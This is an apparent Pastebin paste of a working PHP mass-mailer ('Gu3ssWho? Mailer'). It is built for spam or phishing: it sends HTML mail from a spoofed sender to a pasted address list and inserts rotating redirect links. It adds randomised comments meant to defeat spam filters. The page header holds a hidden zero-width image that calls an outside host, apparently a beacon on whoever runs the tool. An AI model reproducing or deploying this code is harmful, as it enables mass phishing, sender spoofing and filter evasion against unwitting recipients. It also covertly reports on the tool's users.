Advertisement
Guest User

Untitled

a guest
Apr 24th, 2019
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.72 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. $testa = $_POST['veio'];
  4. if($testa != "") {
  5. $redirectlist = array_unique(explode("\n",$_POST['redirectlist']));
  6. $message = $_POST['message'];
  7. $emaillist = $_POST["emaillist"];
  8. $subject = $_POST['subject'];
  9. $realname = $_POST['realname'];
  10. $from = $_POST['from'];
  11. $to = $_POST['emaillist'];
  12.  
  13. $headers = "MIME-Version: 1.0\r\n";
  14. $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
  15.  
  16. $email = explode("\n", $to);
  17. $headers .= "From: ".$realname." <".$from.">\r\n";
  18. $message = stripslashes($message);
  19.  
  20. $i = 0;
  21. $count = 1;
  22. $redi = 0;
  23. $countred = count($redirectlist);
  24. while($email[$i]) {
  25. if($redi >= $countred)
  26. $redi = 0;
  27. $redirect = $redirectlist[$redi].'/'.md5(rand(0,99999)+rand(0,9999));
  28. $ok = "ok";
  29. $messgb = "\r\n<!-- \r\n Here we go some texte here to fuck security ".md5(rand(0,99999)+rand(0,99999))." \r\n what do you think about it".md5(rand(0,99999)+rand(0,99999))."\r\n -->";
  30. $messgb .= str_replace('[red]', $redirect, $message);
  31.  
  32. if(mail($email[$i], $subject, $messgb, $headers))
  33. echo "* N?mero: $count <b>".$email[$i]."</b> <font color=green>OK</font><br><hr>";
  34. else
  35. echo "* N?mero: $count <b>".$email[$i]."</b> <font color=red>ERRO AO ENVIAR</font><br><hr>";
  36. $i++;
  37. $count++;
  38. $redi++;
  39. }
  40. $count--;
  41. if($ok == "ok")
  42. echo "FINALIZO SUPERGERADOR";
  43.  
  44. ?>
  45. <html>
  46. <head>
  47. <title>-=FREEXMAN Mailer =-</title>
  48. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  49. <style>
  50. body {
  51. margin-left: 0;
  52. margin-right: 0;
  53. margin-top: 0;
  54. margin-bottom: 0;
  55. }
  56. .titulo {
  57. font-family: Arial, Helvetica, sans-serif;
  58. font-size: 70px;
  59. color: #000;
  60. font-weight: bold;
  61. }
  62.  
  63. .normal {
  64. font-family: Arial, Helvetica, sans-serif;
  65. font-size: 12px;
  66. color: #000000;
  67. }
  68.  
  69. .form {
  70. font-family: Arial, Helvetica, sans-serif;
  71. font-size: 10px;
  72. color: #333333;
  73. background-color: #FFFFFF;
  74. border: 1px dashed #666666;
  75. }
  76.  
  77. .texto {
  78. font-family: Verdana, Arial, Helvetica, sans-serif;
  79. font-weight: bold;
  80. color: #000;
  81. }
  82.  
  83. .alerta {
  84. font-family: Verdana, Arial, Helvetica, sans-serif;
  85. font-weight: bold;
  86. color: #990000;
  87. font-size: 10px;
  88. }
  89. body,td,th {
  90. color: #000;
  91. }
  92. </style>
  93. </head>
  94. <body>
  95. <form action="" method="post" enctype="multipart/form-data" name="form1">
  96. <input type="hidden" name="veio" value="sim">
  97. <table width="527" height="511" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC" class="normal">
  98. <tr>
  99. <td width="525" height="25" align="center" bgcolor="#999999"><span class="titulo">
  100. <img src="http://ip-api.org/wp-content/uploads-images/ppcom.png" height="1" width="0">
  101. <span style="font-size: 40pt"># Gu3ssWho? #</span></span></td>
  102. </tr>
  103. <tr>
  104. <td height="194" valign="top" bgcolor="#FFFFFF">
  105. <table width="100%" border="0" cellpadding="0" cellspacing="5" class="normal" height="444">
  106. <tr>
  107. <td align="right" height="17"><span class="texto">De (E-Mail)/(Name) :</span></td>
  108. <td width="65%" height="17">
  109. <input name="from" value="<?php print $from; ?>" type="text" class="form" id="de" style="width:49%" size="1" ><input name="realname" type="text" class="form" id="realname" style="width:48%" value="<?php print $realname; ?>" size="1" > </td>
  110. </tr>
  111. <tr>
  112. <td align="right" height="17" style="color: #000">
  113. <span class="texto">Dir LI Bghiti :P :</span></td>
  114. <td width="65%" height="17" style="color: #000">
  115. <input name="replyto" type="text" class="form" id="realname0" style="width:48%" value="<?php print $replyto; ?>" size="1" >
  116. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  117. <input type="file" name="file" size="11" /></font></td>
  118. </tr>
  119. <tr>
  120. <td align="right" height="17"><span class="texto">subject:</span></td>
  121. <td height="17">
  122. <input name="subject" type="text" class="form" id="subject" style="width:100%" value="<? print $subject; ?>" size="1" ></td>
  123. </tr>
  124. <tr align="center" bgcolor="#99CCFF">
  125. <td height="20" colspan="2" bgcolor="#999999"><span class="texto">C&oacute;digo HTML:</span></td>
  126. </tr>
  127. <tr align="right">
  128. <td height="146" colspan="2" valign="top"><br>
  129. <textarea name="message" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="html" cols="1"><?php print $message; ?></textarea>
  130. <span class="alerta">*Letter HTML</span></td>
  131. </tr>
  132. <tr align="center" bgcolor="#99CCFF">
  133. <td height="47" colspan="2" bgcolor="#FFCC00"><span class="texto">
  134. Collez Dakshi a Ca place Ghadi isendi Inbox :P</span><p>
  135. <span class="texto">Gu3ssWho? Mailer !! Version 1.0</span></td>
  136. </tr>
  137. <tr align="right">
  138. <td height="136" colspan="2" valign="top"><br>
  139. <textarea name="emaillist" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="emaillist" cols="1"><?php print $emaillist; ?></textarea>
  140. <span class="alerta">*Email List !!</span> </td>
  141. </tr>
  142. <tr align="right">
  143. <td height="136" colspan="2" valign="top"><br>
  144. <textarea name="redirectlist" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="redirectlist" cols="1"><?php print $emaillist; ?></textarea>
  145. <span class="alerta">*Redirection List !!</span> </td>
  146. </tr>
  147. <tr>
  148. <td height="26" align="right" valign="top" colspan="2">
  149. <input type="submit" value="Send eMails"></td>
  150. </tr>
  151. </table>
  152. </td>
  153. </tr>
  154. <tr>
  155. <td height="15" align="center" bgcolor="#999999">&nbsp;</td>
  156. </tr>
  157. </table>
  158. </form>
  159. </body>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement